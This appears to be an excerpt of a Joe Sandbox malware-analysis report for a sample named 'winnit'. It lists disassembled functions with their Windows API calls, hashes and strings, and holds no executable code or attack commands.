                                          • Instruction ID: bc01489e0c4f2787cff7622aedc387001adaf92f754599b16cbcc139562fc6a9
                                          • Opcode Fuzzy Hash: 34111cef411403fae1317ef65805e5548b68655156ce64ccf70991abda505e28
                                          • Instruction Fuzzy Hash: A4F12971A00119EFDF14DF94D884EAEB7B9FF49314F108598F909AB251DB31AE46CB90
                                          Function 00B2F694 Relevance: 13.9, APIs: 9, Instructions: 386processCOMMON
                                          Download Yara Rule
                                          APIs
                                          • _memset.LIBCMT ref: 00B2F6B5
                                          • GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 00B2F848
                                          • GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 00B2F86C
                                          • GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 00B2F8AC
                                          • GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 00B2F8CE
                                          • CreateProcessW.KERNEL32(00000000,?,00000000,00000000,?,?,00000000,?,?,?), ref: 00B2FA4A
                                          • GetLastError.KERNEL32(00000000,00000001,00000000), ref: 00B2FA7C
                                          • CloseHandle.KERNEL32(?), ref: 00B2FAAB
                                          • CloseHandle.KERNEL32(?), ref: 00B2FB22
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: Directory$CloseCurrentHandleSystem$CreateErrorLastProcess_memset
                                          • String ID:
                                          • API String ID: 4090791747-0
                                          • Opcode ID: 279fb258214e9ea842e8e2a2549e26cd1a1f75a6dddf67ff51be05151ff82a3c
                                          • Instruction ID: d3b58e93966f77c2cf9a91c206cd2cc45400c313cfa61552a043120bbf55e880
                                          • Opcode Fuzzy Hash: 279fb258214e9ea842e8e2a2549e26cd1a1f75a6dddf67ff51be05151ff82a3c
                                          • Instruction Fuzzy Hash: 3CE1BE316042129FCB14EF24D991B6ABBF5FF85310F1485ADF8898B2A2CB31DC41CB52
                                          Function 00B14CC1 Relevance: 13.7, APIs: 9, Instructions: 170filestringCOMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 00B1466E: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,00B13697,?), ref: 00B1468B
                                            • Part of subcall function 00B1466E: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,00B13697,?), ref: 00B146A4
                                            • Part of subcall function 00B14A31: GetFileAttributesW.KERNEL32(?,00B1370B), ref: 00B14A32
                                          • lstrcmpiW.KERNEL32(?,?), ref: 00B14D40
                                          • _wcscmp.LIBCMT ref: 00B14D5A
                                          • MoveFileW.KERNEL32(?,?), ref: 00B14D75
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: FileFullNamePath$AttributesMove_wcscmplstrcmpi
                                          • String ID:
                                          • API String ID: 793581249-0
                                          • Opcode ID: 648ba9ec6749023f50aa604a8b360ccb85acef1fa6d4661f0d85c009b4d2aa62
                                          • Instruction ID: f9ddc4725443aa70435b100c84462cebb221c28c69b21251658e140c0d33e3bb
                                          • Opcode Fuzzy Hash: 648ba9ec6749023f50aa604a8b360ccb85acef1fa6d4661f0d85c009b4d2aa62
                                          • Instruction Fuzzy Hash: 185140B24083459BC724EBA0D8819DFB3ECEF85350F50096EB289D3152EF75A689C766
                                          Function 00B38645 Relevance: 13.7, APIs: 9, Instructions: 168COMMON
                                          Download Yara Rule
                                          APIs
                                          • InvalidateRect.USER32(?,00000000,00000001,?,00000001), ref: 00B386FF
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: InvalidateRect
                                          • String ID:
                                          • API String ID: 634782764-0
                                          • Opcode ID: ce22d4f820ce9489ed9cfbfd2a81a3a56e6a5fb59c9dc87764efee40a453dff4
                                          • Instruction ID: 959141cde625860a5ad9f745906b979c190a61059ae4c5ce131ba9a6a69c67a2
                                          • Opcode Fuzzy Hash: ce22d4f820ce9489ed9cfbfd2a81a3a56e6a5fb59c9dc87764efee40a453dff4
                                          • Instruction Fuzzy Hash: 1E516E30600344BEEF249B289C8AFAD7BE5EB05760F704196F955E61A1CFB1AD90CB52
                                          Function 00AB2B72 Relevance: 13.7, APIs: 9, Instructions: 161windowCOMMON
                                          Download Yara Rule
                                          APIs
                                          • LoadImageW.USER32(00000000,?,00000001,00000010,00000010,00000010), ref: 00AEC2F7
                                          • ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 00AEC319
                                          • LoadImageW.USER32(00000000,?,00000001,00000000,00000000,00000050), ref: 00AEC331
                                          • ExtractIconExW.SHELL32(?,00000000,?,00000000,00000001), ref: 00AEC34F
                                          • SendMessageW.USER32(00000000,00000080,00000000,00000000), ref: 00AEC370
                                          • DestroyIcon.USER32(00000000), ref: 00AEC37F
                                          • SendMessageW.USER32(00000000,00000080,00000001,00000000), ref: 00AEC39C
                                          • DestroyIcon.USER32(?), ref: 00AEC3AB
                                            • Part of subcall function 00B3A4AF: DeleteObject.GDI32(00000000), ref: 00B3A4E8
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: Icon$DestroyExtractImageLoadMessageSend$DeleteObject
                                          • String ID:
                                          • API String ID: 2819616528-0
                                          • Opcode ID: b5b2d99b88cba9485e391544b005c8735b17407720b083c6b4168f4d66b9aecd
                                          • Instruction ID: e9cd83efc5008625593ac33dd3838a817a890ba8dcaa5e94f02f5167ba8f3258
                                          • Opcode Fuzzy Hash: b5b2d99b88cba9485e391544b005c8735b17407720b083c6b4168f4d66b9aecd
                                          • Instruction Fuzzy Hash: 4A516C70A00205EFDB24DF65CC45FEE7BB9EB58320F204529F94697291DB70AD91DB50
                                          Function 00B0966E Relevance: 13.6, APIs: 9, Instructions: 66sleepkeyboardwindowCOMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 00B0A82C: GetWindowThreadProcessId.USER32(?,00000000), ref: 00B0A84C
                                            • Part of subcall function 00B0A82C: GetCurrentThreadId.KERNEL32 ref: 00B0A853
                                            • Part of subcall function 00B0A82C: AttachThreadInput.USER32(00000000,?,00B09683,?,00000001), ref: 00B0A85A
                                          • MapVirtualKeyW.USER32(00000025,00000000), ref: 00B0968E
                                          • PostMessageW.USER32(?,00000100,00000025,00000000), ref: 00B096AB
                                          • Sleep.KERNEL32(00000000,?,00000100,00000025,00000000,?,00000001), ref: 00B096AE
                                          • MapVirtualKeyW.USER32(00000025,00000000), ref: 00B096B7
                                          • PostMessageW.USER32(?,00000100,00000027,00000000), ref: 00B096D5
                                          • Sleep.KERNEL32(00000000,?,00000100,00000027,00000000,?,00000001), ref: 00B096D8
                                          • MapVirtualKeyW.USER32(00000025,00000000), ref: 00B096E1
                                          • PostMessageW.USER32(?,00000101,00000027,00000000), ref: 00B096F8
                                          • Sleep.KERNEL32(00000000,?,00000100,00000027,00000000,?,00000001), ref: 00B096FB
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: MessagePostSleepThreadVirtual$AttachCurrentInputProcessWindow
                                          • String ID:
                                          • API String ID: 2014098862-0
                                          • Opcode ID: 08d8cf0d10ec691136452bfc3e8a9fcf421602da9c5843e686e0288b5bb4ea75
                                          • Instruction ID: 78dce85e0dff9b14a32400d38f940e4012001bb3ed3b6d93dcfa6e478a103b27
                                          • Opcode Fuzzy Hash: 08d8cf0d10ec691136452bfc3e8a9fcf421602da9c5843e686e0288b5bb4ea75
                                          • Instruction Fuzzy Hash: 47117CB1950619BAFA106B609C8AE7A7E6DEB4C791F210425F244AB0E1CDB25C50DAA4
                                          Function 00B08921 Relevance: 13.5, APIs: 9, Instructions: 49memorythreadCOMMON
                                          Download Yara Rule
                                          APIs
                                          • GetProcessHeap.KERNEL32(00000008,0000000C,00000000,00000000,?,00B0853C,00000B00,?,?), ref: 00B0892A
                                          • HeapAlloc.KERNEL32(00000000,?,00B0853C,00000B00,?,?), ref: 00B08931
                                          • GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002,?,00B0853C,00000B00,?,?), ref: 00B08946
                                          • GetCurrentProcess.KERNEL32(?,00000000,?,00B0853C,00000B00,?,?), ref: 00B0894E
                                          • DuplicateHandle.KERNEL32(00000000,?,00B0853C,00000B00,?,?), ref: 00B08951
                                          • GetCurrentProcess.KERNEL32(00000008,00000000,00000000,00000002,?,00B0853C,00000B00,?,?), ref: 00B08961
                                          • GetCurrentProcess.KERNEL32(00B0853C,00000000,?,00B0853C,00000B00,?,?), ref: 00B08969
                                          • DuplicateHandle.KERNEL32(00000000,?,00B0853C,00000B00,?,?), ref: 00B0896C
                                          • CreateThread.KERNEL32(00000000,00000000,00B08992,00000000,00000000,00000000), ref: 00B08986
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: Process$Current$DuplicateHandleHeap$AllocCreateThread
                                          • String ID:
                                          • API String ID: 1957940570-0
                                          • Opcode ID: b4db208eb6234907a715adbf06db9806ddbcda132e8576f531362ee698527afd
                                          • Instruction ID: f3f526ff8d371443dc60250d14a68c7f4e1d666e735ac89393e2309b27948b71
                                          • Opcode Fuzzy Hash: b4db208eb6234907a715adbf06db9806ddbcda132e8576f531362ee698527afd
                                          • Instruction Fuzzy Hash: F201BBB5640709FFEB10ABA5EC4DF6B3BACEB89711F508421FA05DB1A1CA709804DB60
                                          Function 00B29B23 Relevance: 12.6, APIs: 5, Strings: 2, Instructions: 352COMMON
                                          Download Yara Rule
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: NULL Pointer assignment$Not an Object type
                                          • API String ID: 0-572801152
                                          • Opcode ID: 714060453310151b1a343ee4183666e2e72f661101c72352d0a2e5b11d69159f
                                          • Instruction ID: 9c93ef33b6b786da65ce6b0cd85f098f2fefb311c07511c40e24b34c30b03f12
                                          • Opcode Fuzzy Hash: 714060453310151b1a343ee4183666e2e72f661101c72352d0a2e5b11d69159f
                                          • Instruction Fuzzy Hash: 74C1C571A0022A9FDF14DF98E884BAEB7F5FF48350F1585A9E90DA7280E7709D45CB50
                                          Function 00B29113 Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 263COMMON
                                          Download Yara Rule
                                          APIs
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: Variant$ClearInit$_memset
                                          • String ID: Incorrect Object type in FOR..IN loop$Null Object assignment in FOR..IN loop
                                          • API String ID: 2862541840-625585964
                                          • Opcode ID: 751bd6b15f776ec1c3d7cbde78ee83d7cbc407ddf7b4d05ca68961cc3809bcb1
                                          • Instruction ID: ee3b2c69d2780d35ca2731839a39d94933d6807fd795a3b0860ac45789688641
                                          • Opcode Fuzzy Hash: 751bd6b15f776ec1c3d7cbde78ee83d7cbc407ddf7b4d05ca68961cc3809bcb1
                                          • Instruction Fuzzy Hash: 4D917071A00225EBDF24CFA5D888FAEB7F8EF45710F108599F51DAB290D7709945CBA0
                                          Function 00B2975D Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 242COMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 00B0710A: CLSIDFromProgID.OLE32(?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00B07044,80070057,?,?,?,00B07455), ref: 00B07127
                                            • Part of subcall function 00B0710A: ProgIDFromCLSID.OLE32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00B07044,80070057,?,?), ref: 00B07142
                                            • Part of subcall function 00B0710A: lstrcmpiW.KERNEL32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00B07044,80070057,?,?), ref: 00B07150
                                            • Part of subcall function 00B0710A: CoTaskMemFree.OLE32(00000000,?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00B07044,80070057,?), ref: 00B07160
                                          • CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000002,00000003,00000000,00000000,00000000,?,?,?), ref: 00B29806
                                          • _memset.LIBCMT ref: 00B29813
                                          • _memset.LIBCMT ref: 00B29956
                                          • CoCreateInstanceEx.OLE32(?,00000000,00000015,?,00000001,00000000), ref: 00B29982
                                          • CoTaskMemFree.OLE32(?), ref: 00B2998D
                                          Strings
                                          • NULL Pointer assignment, xrefs: 00B299DB
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: FreeFromProgTask_memset$CreateInitializeInstanceSecuritylstrcmpi
                                          • String ID: NULL Pointer assignment
                                          • API String ID: 1300414916-2785691316
                                          • Opcode ID: 0f21d4970f32dd65cfed281bc14b4f8c79a5c53105956e44d388395136c54f59
                                          • Instruction ID: b72e4752e806533718ef370dfa97434d01d1ed1a3032be18bfa9d7b0cfdc0635
                                          • Opcode Fuzzy Hash: 0f21d4970f32dd65cfed281bc14b4f8c79a5c53105956e44d388395136c54f59
                                          • Instruction Fuzzy Hash: 7A912771D00229EBDB10DFA5DC85EDEBBB9EF09350F20419AF419A7291DB719A44CFA0
                                          Function 00B36D80 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143windowCOMMON
                                          Download Yara Rule
                                          APIs
                                          • SendMessageW.USER32(00000000,00001036,00000010,00000010), ref: 00B36E24
                                          • SendMessageW.USER32(?,00001036,00000000,?), ref: 00B36E38
                                          • SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000013), ref: 00B36E52
                                          • _wcscat.LIBCMT ref: 00B36EAD
                                          • SendMessageW.USER32(?,00001057,00000000,?), ref: 00B36EC4
                                          • SendMessageW.USER32(?,00001061,?,0000000F), ref: 00B36EF2
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: MessageSend$Window_wcscat
                                          • String ID: SysListView32
                                          • API String ID: 307300125-78025650
                                          • Opcode ID: a65138eae51272c6806bcd59dd13a55b959b32c43b3911e7673ffceca874439d
                                          • Instruction ID: f3cab4c5436d464451a67da67b5bb69804c35d08abc58efaff07426abef36dc0
                                          • Opcode Fuzzy Hash: a65138eae51272c6806bcd59dd13a55b959b32c43b3911e7673ffceca874439d
                                          • Instruction Fuzzy Hash: 7341B471A00359BFEB219F64CC85BEEB7E8EF08350F20456AF584E7291D6719D84CB60
                                          Function 00B2E933 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 136COMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 00B13C55: CreateToolhelp32Snapshot.KERNEL32 ref: 00B13C7A
                                            • Part of subcall function 00B13C55: Process32FirstW.KERNEL32(00000000,?), ref: 00B13C88
                                            • Part of subcall function 00B13C55: CloseHandle.KERNEL32(00000000), ref: 00B13D52
                                          • OpenProcess.KERNEL32(00000001,00000000,?), ref: 00B2E9A4
                                          • GetLastError.KERNEL32 ref: 00B2E9B7
                                          • OpenProcess.KERNEL32(00000001,00000000,?), ref: 00B2E9E6
                                          • TerminateProcess.KERNEL32(00000000,00000000), ref: 00B2EA63
                                          • GetLastError.KERNEL32(00000000), ref: 00B2EA6E
                                          • CloseHandle.KERNEL32(00000000), ref: 00B2EAA3
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: Process$CloseErrorHandleLastOpen$CreateFirstProcess32SnapshotTerminateToolhelp32
                                          • String ID: SeDebugPrivilege
                                          • API String ID: 2533919879-2896544425
                                          • Opcode ID: db5b752ef9769197f957a791cf63e40351e0fe78954bd7cf983497de6fdd5477
                                          • Instruction ID: d83eaeed4dae0070700f319ba34ddb87347933d6eb92a6d737d47cd6b36c9d07
                                          • Opcode Fuzzy Hash: db5b752ef9769197f957a791cf63e40351e0fe78954bd7cf983497de6fdd5477
                                          • Instruction Fuzzy Hash: FE41CA316002119FDB10EF64DC95FAEBBE5AF56314F148498F90A9B2D2CB70ED04CB95
                                          Function 00B12F94 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 82windowCOMMON
                                          Download Yara Rule
                                          APIs
                                          • LoadIconW.USER32(00000000,00007F03), ref: 00B13033
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: IconLoad
                                          • String ID: blank$info$question$stop$warning
                                          • API String ID: 2457776203-404129466
                                          • Opcode ID: 20b2b69936e52b7ebb4f9ec399d44d61a33983d02644f2725466eea1508a0348
                                          • Instruction ID: 0fc04591d98e44a986df8a6bb82cf61751404d1d3579703045fde872d80bfcfc
                                          • Opcode Fuzzy Hash: 20b2b69936e52b7ebb4f9ec399d44d61a33983d02644f2725466eea1508a0348
                                          • Instruction Fuzzy Hash: 19115B31348386BED7149B14DC86EEB7BDCDF29760B6000AAF901A6281FF755F8086A4
                                          Function 00B142F8 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 47windowCOMMON
                                          Download Yara Rule
                                          APIs
                                          • GetModuleHandleW.KERNEL32(00000000,?,?,00000100,00000000), ref: 00B14312
                                          • LoadStringW.USER32(00000000), ref: 00B14319
                                          • GetModuleHandleW.KERNEL32(00000000,00001389,?,00000100), ref: 00B1432F
                                          • LoadStringW.USER32(00000000), ref: 00B14336
                                          • _wprintf.LIBCMT ref: 00B1435C
                                          • MessageBoxW.USER32(00000000,?,?,00011010), ref: 00B1437A
                                          Strings
                                          • %s (%d) : ==> %s: %s %s, xrefs: 00B14357
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: HandleLoadModuleString$Message_wprintf
                                          • String ID: %s (%d) : ==> %s: %s %s
                                          • API String ID: 3648134473-3128320259
                                          • Opcode ID: c4018d4983406a978e0547ef64a3b8a1774d9dcb44ff1172f1e7f82f38826fe5
                                          • Instruction ID: 76291eaae4ef0ff639d4e5e8ee6c5054c1fd501de8ed55bf9b5e594e2204bed1
                                          • Opcode Fuzzy Hash: c4018d4983406a978e0547ef64a3b8a1774d9dcb44ff1172f1e7f82f38826fe5
                                          • Instruction Fuzzy Hash: 72014FF2900209BFE71197A0EE89EFA77ACDB08701F5005B1B749E3051EE749E858B75
                                          Function 00B3D43E Relevance: 12.3, APIs: 8, Instructions: 257windowCOMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 00AB2612: GetWindowLongW.USER32(?,000000EB), ref: 00AB2623
                                          • GetSystemMetrics.USER32(0000000F), ref: 00B3D47C
                                          • GetSystemMetrics.USER32(0000000F), ref: 00B3D49C
                                          • MoveWindow.USER32(00000003,?,?,?,?,00000000,?,?,?), ref: 00B3D6D7
                                          • SendMessageW.USER32(00000003,00000142,00000000,0000FFFF), ref: 00B3D6F5
                                          • SendMessageW.USER32(00000003,00000469,?,00000000), ref: 00B3D716
                                          • ShowWindow.USER32(00000003,00000000), ref: 00B3D735
                                          • InvalidateRect.USER32(?,00000000,00000001), ref: 00B3D75A
                                          • DefDlgProcW.USER32(?,00000005,?,?), ref: 00B3D77D
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
